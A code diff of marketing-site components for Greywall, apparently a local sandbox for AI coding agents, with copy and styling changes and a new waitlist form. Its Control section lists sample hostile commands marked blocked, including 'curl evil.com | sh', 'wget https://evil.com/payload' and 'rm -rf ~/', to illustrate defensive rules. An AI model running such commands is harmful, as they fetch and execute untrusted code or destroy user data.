</p>
|
||||||
@@ -73,7 +63,7 @@ export function About() {
|
|||||||
/>
|
/>
|
||||||
<div>
|
<div>
|
||||||
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
|
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
|
||||||
<div className="text-xs text-primary font-sans font-medium">Technical Product Lead</div>
|
<div className="text-xs text-muted-foreground font-sans font-medium">Technical Product Lead</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||||
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
|
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
|
||||||
</p>
|
</p>
|
||||||
@@ -94,7 +84,7 @@ export function About() {
|
|||||||
/>
|
/>
|
||||||
<div>
|
<div>
|
||||||
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
|
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
|
||||||
<div className="text-xs text-primary font-sans font-medium">Senior Team Lead</div>
|
<div className="text-xs text-muted-foreground font-sans font-medium">Senior Team Lead</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||||
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
|
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
|
||||||
</p>
|
</p>
|
||||||
@@ -104,13 +94,11 @@ export function About() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="border-t border-border/30 pt-16">
|
<div className="border-t border-border/30 pt-16">
|
||||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">
|
<h3 className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-4">
|
||||||
Need more than sandboxing?
|
Need the rest of the system?
|
||||||
</h3>
|
</h3>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed max-w-2xl mb-8">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mb-8">
|
||||||
Greywall is one piece of a larger platform. For enterprises that need sovereign AI
|
Greywall is one layer in a larger deployment model. For teams that need private model hosting, workflow design, and contained end-to-end systems, Greyhaven builds the surrounding infrastructure.
|
||||||
infrastructure, private model deployment, and end-to-end agent orchestration,
|
|
||||||
Greyhaven builds custom solutions on your terms.
|
|
||||||
</p>
|
</p>
|
||||||
<a
|
<a
|
||||||
href="https://greyhaven.co/contact"
|
href="https://greyhaven.co/contact"
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
import Image from 'next/image'
|
import Image from 'next/image'
|
||||||
import { CheckCircle2 } from 'lucide-react'
|
|
||||||
|
|
||||||
const agents = [
|
const agents = [
|
||||||
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||||
@@ -19,18 +18,14 @@ export function Agents() {
|
|||||||
<section className="py-24 px-6 border-t border-border/30">
|
<section className="py-24 px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="max-w-2xl mb-12">
|
<div className="max-w-2xl mb-12">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||||
<CheckCircle2 className="h-4 w-4 text-primary" />
|
Compatibility
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
</span>
|
||||||
Compatibility
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
Works with every agent.
|
Works with every agent.
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
All agents work perfectly inside their sandbox but can't impact anything outside
|
Greywall sits under the agent process. If the tool runs locally, it can run inside the same filesystem and network boundaries without agent-specific setup.
|
||||||
it. No agent-specific configuration needed.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
109
components/beta-signup.tsx
Normal file
109
components/beta-signup.tsx
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { useState, type FormEvent } from 'react'
|
||||||
|
import { Check } from 'lucide-react'
|
||||||
|
import { CTAButton } from './cta-button'
|
||||||
|
|
||||||
|
type Mode = 'button' | 'input' | 'submitting' | 'success' | 'error'
|
||||||
|
|
||||||
|
type BetaSignupProps = {
|
||||||
|
subject: string
|
||||||
|
message: string
|
||||||
|
buttonClassName?: string
|
||||||
|
submitClassName?: string
|
||||||
|
inputClassName?: string
|
||||||
|
helperTextClassName?: string
|
||||||
|
successClassName?: string
|
||||||
|
errorClassName?: string
|
||||||
|
formClassName?: string
|
||||||
|
wrapperClassName?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
export function BetaSignup({
|
||||||
|
subject,
|
||||||
|
message,
|
||||||
|
buttonClassName = '',
|
||||||
|
submitClassName = '',
|
||||||
|
inputClassName = '',
|
||||||
|
helperTextClassName = 'text-xs text-muted-foreground/60 font-serif',
|
||||||
|
successClassName = 'inline-flex items-center gap-2 rounded-md border border-primary/20 bg-primary/[0.05] px-5 py-2.5 font-sans text-sm text-primary font-medium',
|
||||||
|
errorClassName = 'text-xs text-red-400/80 font-sans text-center',
|
||||||
|
formClassName = 'flex items-center gap-2',
|
||||||
|
wrapperClassName = 'flex flex-col items-center gap-2',
|
||||||
|
}: BetaSignupProps) {
|
||||||
|
const [mode, setMode] = useState<Mode>('button')
|
||||||
|
const [email, setEmail] = useState('')
|
||||||
|
const [error, setError] = useState('')
|
||||||
|
|
||||||
|
async function onSubmit(e: FormEvent<HTMLFormElement>) {
|
||||||
|
e.preventDefault()
|
||||||
|
if (mode === 'submitting') return
|
||||||
|
setMode('submitting')
|
||||||
|
setError('')
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch('https://api.web3forms.com/submit', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
Accept: 'application/json',
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
access_key: '85d3252e-5890-450c-aa93-12dc89c7c9b5',
|
||||||
|
subject,
|
||||||
|
from_name: 'Greywall waitlist',
|
||||||
|
email,
|
||||||
|
message,
|
||||||
|
botcheck: '',
|
||||||
|
}),
|
||||||
|
})
|
||||||
|
|
||||||
|
const data = await res.json()
|
||||||
|
if (data.success) {
|
||||||
|
setMode('success')
|
||||||
|
setEmail('')
|
||||||
|
} else {
|
||||||
|
setMode('error')
|
||||||
|
setError(data.message || 'Something went wrong. Try again?')
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
setMode('error')
|
||||||
|
setError('Network error. Try again?')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className={wrapperClassName}>
|
||||||
|
{mode === 'button' && (
|
||||||
|
<CTAButton onClick={() => setMode('input')} className={buttonClassName}>
|
||||||
|
Talk to us
|
||||||
|
<span aria-hidden="true">→</span>
|
||||||
|
</CTAButton>
|
||||||
|
)}
|
||||||
|
{(mode === 'input' || mode === 'submitting') && (
|
||||||
|
<form onSubmit={onSubmit} className={formClassName}>
|
||||||
|
<input
|
||||||
|
type="email"
|
||||||
|
required
|
||||||
|
value={email}
|
||||||
|
onChange={(e) => setEmail(e.target.value)}
|
||||||
|
placeholder="you@company.com"
|
||||||
|
autoFocus
|
||||||
|
className={inputClassName}
|
||||||
|
/>
|
||||||
|
<CTAButton type="submit" disabled={mode === 'submitting'} className={submitClassName}>
|
||||||
|
{mode === 'submitting' ? '...' : 'Join'}
|
||||||
|
</CTAButton>
|
||||||
|
</form>
|
||||||
|
)}
|
||||||
|
{mode === 'success' && (
|
||||||
|
<div className={successClassName}>
|
||||||
|
<Check className="h-4 w-4" />
|
||||||
|
Thanks — we'll be in touch.
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
{mode === 'error' && <p className={errorClassName}>{error}</p>}
|
||||||
|
<p className={helperTextClassName}>Running Greywall across multiple teams? We're building a managed governance layer.</p>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
'use client'
|
'use client'
|
||||||
|
|
||||||
import { ArrowRight, Check, X, Minus } from 'lucide-react'
|
import { Check, X, Minus } from 'lucide-react'
|
||||||
|
|
||||||
type CellValue = 'yes' | 'no' | 'partial' | string
|
type CellValue = 'yes' | 'no' | 'partial' | string
|
||||||
|
|
||||||
@@ -138,18 +138,14 @@ export function Comparison() {
|
|||||||
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="max-w-2xl mb-12">
|
<div className="max-w-2xl mb-12">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||||
<ArrowRight className="h-4 w-4 text-primary" />
|
How it compares
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
</span>
|
||||||
How it compares
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
</span>
|
Different tools enforce different boundaries.
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
Not all sandboxes are equal.
|
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
Greywall combines filesystem isolation, network control, syscall filtering,
|
Greywall combines filesystem controls, network controls, command blocking, and runtime visibility in one local tool.
|
||||||
and real-time monitoring in a single tool. Here's how it stacks up.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -161,7 +157,7 @@ export function Comparison() {
|
|||||||
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||||
Feature
|
Feature
|
||||||
</th>
|
</th>
|
||||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
|
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-foreground">
|
||||||
Greywall
|
Greywall
|
||||||
</th>
|
</th>
|
||||||
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
'use client'
|
'use client'
|
||||||
|
|
||||||
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
import { FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||||
import { PlatformToggle, usePlatform } from './platform-toggle'
|
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||||
|
|
||||||
const tree = [
|
const tree = [
|
||||||
@@ -22,15 +22,15 @@ const accessLabels: Record<string, string> = {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function badgeClasses(color: string) {
|
function badgeClasses(color: string) {
|
||||||
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
|
if (color === 'green') return 'bg-emerald-50 text-emerald-700'
|
||||||
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
|
if (color === 'yellow') return 'bg-amber-50 text-amber-700'
|
||||||
return 'bg-red-400/10 text-red-400/70'
|
return 'bg-red-50 text-red-600'
|
||||||
}
|
}
|
||||||
|
|
||||||
function textColor(color: string) {
|
function textColor(color: string) {
|
||||||
if (color === 'green') return 'text-green-400/80'
|
if (color === 'green') return 'text-emerald-600'
|
||||||
if (color === 'yellow') return 'text-yellow-400/70'
|
if (color === 'yellow') return 'text-amber-600'
|
||||||
return 'text-red-400/70'
|
return 'text-red-500'
|
||||||
}
|
}
|
||||||
|
|
||||||
export function Control() {
|
export function Control() {
|
||||||
@@ -41,18 +41,14 @@ export function Control() {
|
|||||||
<div className="mx-auto max-w-5xl">
|
<div className="mx-auto max-w-5xl">
|
||||||
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||||
<div className="max-w-2xl">
|
<div className="max-w-2xl">
|
||||||
<div className="flex items-center gap-2 mb-4">
|
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
Control
|
||||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
</span>
|
||||||
Control
|
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||||
</span>
|
|
||||||
</div>
|
|
||||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
|
||||||
Default deny. Explicit allow.
|
Default deny. Explicit allow.
|
||||||
</h2>
|
</h2>
|
||||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||||
Agents inherit your full permissions. Greywall flips this: nothing is accessible
|
An agent normally inherits your user account. Greywall reverses that default: filesystem paths, network access, and blocked commands all begin closed until you allow them.
|
||||||
unless explicitly granted. Filesystem, network, and commands all start closed.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<PlatformToggle />
|
<PlatformToggle />
|
||||||
@@ -60,9 +56,9 @@ export function Control() {
|
|||||||
|
|
||||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
|
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
|
||||||
{/* Directory tree visualization */}
|
{/* Directory tree visualization */}
|
||||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||||
<div className="flex items-center gap-3 mb-5">
|
<div className="flex items-center gap-3 mb-5">
|
||||||
<FolderLock className="h-5 w-5 text-primary" />
|
<FolderLock className="h-5 w-5 text-foreground" />
|
||||||
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-1 font-mono text-xs sm:text-sm">
|
<div className="space-y-1 font-mono text-xs sm:text-sm">
|
||||||
@@ -78,15 +74,14 @@ export function Control() {
|
|||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
||||||
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
|
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files stay protected even when nearby directories are allowed.
|
||||||
are always protected, even inside allowed directories.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Network isolation */}
|
{/* Network isolation */}
|
||||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||||
<div className="flex items-center gap-3 mb-5">
|
<div className="flex items-center gap-3 mb-5">
|
||||||
<Wifi className="h-5 w-5 text-primary" />
|
<Wifi className="h-5 w-5 text-foreground" />
|
||||||
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
||||||
</div>
|
</div>
|
||||||
{platform === 'linux' ? (
|
{platform === 'linux' ? (
|
||||||
@@ -98,31 +93,29 @@ export function Control() {
|
|||||||
<div className="font-mono text-xs space-y-1">
|
<div className="font-mono text-xs space-y-1">
|
||||||
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
|
<div><span className="text-muted-foreground">bwrap</span> <span className="text-primary/80">--unshare-net</span> <span className="text-muted-foreground">\ </span></div>
|
||||||
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
|
<div className="ml-4"><span className="text-muted-foreground">tun2socks -device tun0 \</span></div>
|
||||||
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
|
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-emerald-300">socks5://localhost:43052</span></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
|
<span className="text-foreground truncate">curl https://api.anthropic.com</span>
|
||||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
<span className="text-foreground truncate">npm install lodash</span>
|
||||||
<span className="text-green-400/70 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
<span className="text-emerald-300 text-[10px] shrink-0">TUN → PROXY → ALLOW</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
|
<span className="text-foreground truncate">wget https://evil.com/payload</span>
|
||||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
|
<span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
|
||||||
<span className="text-red-400/70 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
<span className="text-red-300 text-[10px] shrink-0">TUN → PROXY → DENY</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
Full network namespace isolation. The process can't see the host network.
|
The process cannot see the host network directly. Traffic passes through the TUN device and GreyProxy, including binaries that ignore proxy environment variables.
|
||||||
Every packet hits the TUN device and routes through GreyProxy, including
|
|
||||||
binaries that ignore proxy env vars.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
) : (
|
) : (
|
||||||
@@ -132,83 +125,82 @@ export function Control() {
|
|||||||
Generated Seatbelt policy
|
Generated Seatbelt policy
|
||||||
</div>
|
</div>
|
||||||
<div className="font-mono text-xs space-y-1">
|
<div className="font-mono text-xs space-y-1">
|
||||||
<div className="text-red-400/70">(deny default)</div>
|
<div className="text-red-300">(deny default)</div>
|
||||||
<div className="text-muted-foreground">(deny network-outbound)</div>
|
<div className="text-muted-foreground">(deny network-outbound)</div>
|
||||||
<div className="text-green-400/70">
|
<div className="text-emerald-300">
|
||||||
(allow network-outbound
|
(allow network-outbound
|
||||||
</div>
|
</div>
|
||||||
<div className="text-green-400/70 ml-4">
|
<div className="text-emerald-300 ml-4">
|
||||||
(remote tcp "localhost:43051"))
|
(remote tcp "localhost:43051"))
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
|
<span className="text-foreground truncate">api.anthropic.com</span>
|
||||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
|
<span className="text-foreground truncate">registry.npmjs.org</span>
|
||||||
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
|
<span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
|
<span className="text-foreground truncate">evil.com (direct)</span>
|
||||||
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
|
<span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
|
||||||
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
|
<span className="text-foreground truncate">analytics.vendor.io</span>
|
||||||
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
|
<span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
All outbound traffic is blocked at the kernel. Only the proxy address is
|
Outbound traffic is blocked at the kernel except for the proxy path you allow. GreyProxy then applies domain rules on top.
|
||||||
reachable. GreyProxy then applies domain-level allow/deny rules.
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Command blocking */}
|
{/* Command blocking */}
|
||||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||||
<div className="flex items-center gap-3 mb-5">
|
<div className="flex items-center gap-3 mb-5">
|
||||||
<Ban className="h-5 w-5 text-primary" />
|
<Ban className="h-5 w-5 text-foreground" />
|
||||||
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
|
||||||
</div>
|
</div>
|
||||||
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
|
||||||
<div className="flex items-center gap-3 min-w-0">
|
<div className="flex items-center gap-3 min-w-0">
|
||||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
<span className="text-muted-foreground truncate">git push origin main</span>
|
<span className="text-muted-foreground truncate">git push origin main</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center gap-3 min-w-0">
|
<div className="flex items-center gap-3 min-w-0">
|
||||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
<span className="text-muted-foreground truncate">npm publish</span>
|
<span className="text-muted-foreground truncate">npm publish</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center gap-3 min-w-0">
|
<div className="flex items-center gap-3 min-w-0">
|
||||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
<span className="text-muted-foreground truncate">rm -rf ~/</span>
|
<span className="text-muted-foreground truncate">rm -rf ~/</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center gap-3 min-w-0">
|
<div className="flex items-center gap-3 min-w-0">
|
||||||
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
|
<span className="text-red-500 text-[10px] w-14 shrink-0">BLOCKED</span>
|
||||||
<span className="text-muted-foreground truncate">bash -c "curl evil.com | sh"</span>
|
<span className="text-muted-foreground truncate">bash -c "curl evil.com | sh"</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="mt-3 flex items-center gap-3 min-w-0">
|
<div className="mt-3 flex items-center gap-3 min-w-0">
|
||||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||||
<span className="text-greyhaven-offwhite truncate">git commit -m "fix: types"</span>
|
<span className="text-foreground truncate">git commit -m "fix: types"</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center gap-3 min-w-0">
|
<div className="flex items-center gap-3 min-w-0">
|
||||||
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
|
<span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
|
||||||
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
|
<span className="text-foreground truncate">npm install lodash</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif mt-4">
|
<p className="text-xs text-muted-foreground font-serif mt-4">
|
||||||
Detects blocked commands in pipes, chains, and nested shells.
|
Block rules still apply inside pipes, chains, and nested shells.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Learning mode */}
|
{/* Learning mode */}
|
||||||
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
|
<div className="surface-card p-4 sm:p-6 rounded-lg border border-border/50">
|
||||||
<div className="flex items-center gap-3 mb-5">
|
<div className="flex items-center gap-3 mb-5">
|
||||||
<GraduationCap className="h-5 w-5 text-primary" />
|
<GraduationCap className="h-5 w-5 text-foreground" />
|
||||||
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
|
||||||
</div>
|
</div>
|
||||||
<div className="code-block p-4 mb-4">
|
<div className="code-block p-4 mb-4">
|
||||||
@@ -239,8 +231,8 @@ export function Control() {
|
|||||||
</div>
|
</div>
|
||||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||||
{platform === 'linux'
|
{platform === 'linux'
|
||||||
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
? 'Uses strace to observe filesystem access and turns the result into an initial least-privilege template.'
|
||||||
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
|
: 'Uses macOS Endpoint Security logging to observe access and turn the result into an initial least-privilege template.'}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -248,8 +240,7 @@ export function Control() {
|
|||||||
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||||
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
|
||||||
The security layer around your AI tools should be independent of the company selling you
|
